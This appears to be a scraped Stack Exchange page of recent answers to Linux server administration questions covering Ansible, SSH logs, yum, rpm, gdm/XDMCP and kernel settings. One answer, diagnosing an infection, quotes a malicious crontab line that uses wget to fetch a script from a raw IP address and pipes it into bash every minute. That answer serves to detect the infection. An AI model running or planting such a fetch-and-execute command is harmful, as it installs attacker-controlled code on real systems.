Stack Exchange Network

Stack Exchange network consists of 175 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers.

Visit Stack Exchange

New answers tagged

1

See Using variables. Correct syntax is src: "/etc/puppet/warrepo/japp-{{ ver }}.war"


0

First of all - always check logs. The /var/log/secure will log every attempt to login with ssh by default. You can open it with tail -f /var/log/secure and try to login as a user in a separate window. Next, make sure the user has a valid shell. You can check it with grep username /etc/passwd. To change shell to bash use chsh username -s /bin/bash. Make ...


1

I believe their concern is the speed of accessing inter-socket memory. They recommended that if I insisted on keeping the DL560s, I should leave two of the sockets empty. this would have to do with the number of QPI or UPI links and the Intel Scalability (because you mentioned Xeon) between n CPU's whether it is 4S, S4S, S8S. But the fact that there is 4 ...


0

Looks like the kernel has paniced (crashed), apparently when trying to get statistics from the tg3 Broadcom NIC driver. You'll need to reset the system to let it reboot again. You probably should update the system, or at least the kernel, to CentOS 6.[latest] and see if the crash happens again. If you have any third-party driver packages, you should update ...


0

Can I assume your unable to do that now? Assuming that. Ensure that you have the following in /etc/gdm/custom.conf: [security] ... DisallowTCP=fale AllowRemoteRoot=true ... [xdmcp] Enable=true DisallowTCP is true, and AllowRemoteRoot is false as I recall, and [xdmcp] Enable may, or may not be true. But you'll need to ensure it's there, and true. I only ...


3

It's better to set universal variables by creating scripts in /etc/profile.d. You want to create it with an extension of your shell name. For example, if it's bash, it will be called script.sh for example. /etc/profile.d/script.sh The syntax inside will be: export SOME_VAR_NAME=some-var-value You will need to start a new shell session to add the ...


0

The installation on your RHEL 6 server was probably done using the RHEL package of UnixODBC. This is easy to replicate on your RHEL 7 server: yum install unixODBC-devel will install the headers, development files and all their dependencies. We won’t be able to tell you why the two installations were performed differently; only your helpdesk can do that.


0

You might have a virus/worm. Look at your crontab for a line like * * * * * wget http://107.174.47.156/mr.sh | bash -sh > /dev/null 2>&1 ip may be different. The cron event is also the reason why the file gets updated every minute.


0

By setting "-e 2" you are enabling AND LOCKING auditd's configuration so it CANNOT BE CHANGED. Therefore, it will not allow you to stop it, as would happen for a restart. Stopping auditing would be a change - something you have instructed it to not allow to happen. That is why you get that error when attempting to restart it. Either set "-e 1" and reboot ...


1

Found the problem. The sssd configuration contains the line ldap_access_filter = (host=<hostname>.mydomain.org) where hostname is the local host name for each server. However, the second server wasn't referenced in the LDAP server, only the first one was. Adding an entry for the second server on the LDAP solved the issue.


1

$ curl http://169.254.169.254/latest/meta-data/local-ipv4 The private IPv4 address of the instance. In cases where multiple network interfaces are present, this refers to the eth0 device (the device for which the device number is 0). https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html Alternately: $ ec2metadata --local-...


2

Short answer Command usermod -a ... adds the group, but the parameter group of the user module "sets the user's primary group". Details User one-username is created with the primary group one-username sudo groupadd -g 2002 one-username sudo useradd -u 2002 -g 2002 ... one-username Members of the group one-username are allowed to sudo User_Alias ...


0

Simply copy paste this code: CFLAGS="-I$(brew --prefix readline)/include -I$(brew --prefix openssl)/include -I$(xcrun --show-sdk-path)/usr/include" \ LDFLAGS="-L$(brew --prefix readline)/lib -L$(brew --prefix openssl)/lib" \ PYTHON_CONFIGURE_OPTS=--enable-unicode=ucs2 \ pyenv install -v 3.6.0


0

https://access.redhat.com/solutions/1293513, after discussing --user, says RH doesn't generally support the ability of regular users to stop and start system daemons; it then goes on to show how to set up sudo to allow those users to become admin to start a given daemon (like a log daemon which runs as root). But the article misses the crux of OP's ...


0

Single quotes tell shell not to interpret the commands/variables inside. So you have no expand/interpret ${JAVA_OPTS} construction. Try to make it on this way (with double quotes): [...] JAVA_OPTS='-Djava.awt.headless=true' JAVA_OPTS="${JAVA_OPTS} -Dfile.encoding=UTF-8" JAVA_OPTS="${JAVA_OPTS} -XX:+UseConcMarkSweepGC" # memory JAVA_OPTS="${JAVA_OPTS} -...


1

Dracut is both a tool for generating an instance of initramfs and it also has what is called the dracut emergency shell. The purpose of initramfs is to provide an environment capable of finding, loading, and passing execution to the root file system. If at any point something goes wrong during this process initramfs will drop to the dracut emergency shell ...


0

So what specific changes need to be made to the below code in order for ServerA to be defined at runtime? - hosts: ServerB vars: ServerA: 192.168.0.0 You must address the error message indicating the variable ServerA is undefined. Your code is calling variable ServerA. You have not defined the variable, and Ansible does not have a 'fact' registered ...


0

I've found the culprit. We were reading statistics from socket interface. However in our config, there is just 1 socket interface which binds to only one process. And therefore we can't get statistics from other processes. HAProxy unfortunately doesn't support aggregated statistics via socket interface (if it does, please share how). So when I changed to ...


0

Adding to the other answers; if you don't know whether a file belongs to an rpm or not, you can use: rpm -qf /path/to/file Which tells you to what rpm that file belongs.


2

Given the situation you've demonstrated, I would rm /etc/yum.repos.d/msprod.repo, as it is a duplicate of /etc/yum.repos.d/microsoft-prod.repo, and is also not owned by any package. To programmatically determine whether a file is owned by a package, check the return code of rpm: if rpm -qf /the/file > /dev/null 2>&1 then : the file is owned by ...


2

Unload the floppy device driver and blacklist it: modprobe -r floppy echo "blacklist floppy" >/etc/modprobe.d/no-floppy.conf depmod If something keeps polling /dev/fd0, you may have to try the first command a few times, or perhaps use fuser -c /dev/fd0 to determine the process accessing the floppy device, and temporarily stop it while you remove the ...


3

Apparently Java may have been installed outside of rpm package management. In that case, you could just do a mv /dir/java /dir/java.to-be-removed, then verify that nothing essential gets broken by this. If all seems OK, then remove any references to /dir/java/bin in system-wide PATH and MANPATH settings (check /etc/environment, /etc/profile, and the ...


2

try to find destination dirs from below commands. which java Or/and /usr/sbin/alternatives --display java One you find out delete those folder itself. Since you already tried rpm way I am not adding. But be aware some other software which require java may not work after complete removal.


0

wget for the rescue. wget designed for file transfer and logging.


1

The default value for shmmax is #define SHMMAX (ULONG_MAX - (1UL << 24)) This is an upper bound, chosen to be as large as possible while limiting the risk of overflow: SHMMNI, SHMMAX and SHMALL are default upper limits which can be modified by sysctl. The SHMMAX and SHMALL values have been chosen to be as large possible without facilitating ...


0

The state refers to parked state. This state is valid only for the kernels between 3.9 to 3.13. As per man page: state %c One of the following characters, indicating process state: R Running S Sleeping in an interruptible wait D Waiting in ...


1

service is an "high-level" command used for start, restart, stop and status services in different Unixes and Linuxes. Depending on the "lower-level" service manager, service redirects on different binaries. For example, on CentOS 7 it redirects to systemctl, while on CentOS 6 it directly called the relative /etc/init.d script. On the ...


0

See /etc/security/limits.conf or man 5 limits.conf: $ cat /etc/security/limits.conf # /etc/security/limits.conf # #This file sets the resource limits for the users logged in via PAM. #It does not affect resource limits of the system services. # #Also note that configuration files in /etc/security/limits.d directory, #which are read in alphabetical order, ...


0

You have certain dependencies that are not resolving. Please use the below and let me know if the installation goes through. sudo yum-config-manager --enable rhui-REGION-rhel-server-extras


0

The fix is simple: you need to reference resolved as a source of DNS resolution in /etc/nsswitch. Add "resolve" to the hosts directive, making it first in the list. So the hosts entry in /etc/nsswitch should look as below: hosts: resolve files dns myhostname Let's see what happens after we make the change to /etc/nsswitch:


5

On one level this is a policy decision and nothing to do with the technology. On another level you should be asking yourselves why you don't want this second cluster properly supported by your systems administration staff. Finally, to answer the question as asked: yes it's possible, but the names of the systems will be available only to those systems with ...


0

You can run Xvnc -inetd -query localhost as a unprivileged non-root user out of systemd or xinetd. You need a login manager like gdm or lightdm that listens for XDMCP on the loopback interface. That way you can always connect to the same port and create a new desktop session. Of course, if you disconnect, it ends the session.


1

You are using a VMware Fusion Pro version with almost a year. I would use 11.1.0 for Mojave instead, that was out last week, and brings at least, besides bug fixes: compatibility for RHEL 8.0; fix for virtual disk image conversion bugs; new versions of vmware tools. I would consider using RHEL 8.0 instead, if in an home/lab setting.


Top 50 recent answers are included